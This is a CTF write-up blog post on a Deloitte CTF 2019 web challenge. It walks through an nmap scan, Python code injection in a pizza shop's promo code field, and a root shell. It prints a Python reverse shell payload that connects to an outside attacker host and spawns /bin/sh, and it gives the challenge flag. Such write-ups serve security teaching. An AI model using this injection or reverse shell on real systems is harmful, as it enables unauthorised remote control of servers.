Deloitte CTF Quals 2019: g0dmode's Pizza Shop

Published June 11, 2019 • 1 minute read

g0dmode's Pizza Shop 🍕 was a task labelled web and worth 300 points. It is a standard Python command injection. I felt like it was worth way too much points for the difficulty.

Task Description

As always, quick nmap scan:

$ nmap
Starting Nmap 7.80 ( ) at 2019-11-06 15:57 GMT
Nmap scan report for (
  Host is up (0.0037s latency).
  Not shown: 990 closed ports
  22/tcp   open     ssh
  25/tcp   filtered smtp
  53/tcp   filtered domain
  80/tcp   open     http
  135/tcp  filtered msrpc
  139/tcp  filtered netbios-ssn
  445/tcp  filtered microsoft-ds
  2000/tcp open     cisco-sccp
  5060/tcp open     sip
  8008/tcp open     http

Nmap done: 1 IP address (1 host up) scanned in 1.27 seconds

We have a web application on port 80:

Web Application

The challenge description makes it clear that we have to inject some command into the promo code field of the order page. We can totally ignore the account mechanism.

Order Page

Let's try with a very simple payload: a single quote '. We get back an error:

Order Page

The error looks like a Python quote parsing issue. My guess is that the backend looks something like:

promo_code = ord('<USER_INPUT>')

If my guess is correct, the payload ') # should produce no error, as we just complete the function call and transform the end of the line into a comment like so:

promo_code = ord('') #')

My guess turned to be correct. So I decided to inject some reverse shell payload. A friend told me to take a look at this website.

Let's tweak their Python payload a little bit:

'); import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]); #

We get a root shell immediately:

Root shell

Final flag: dctf{python_code_injection_via_unsafe_exec_call_oops1e}.

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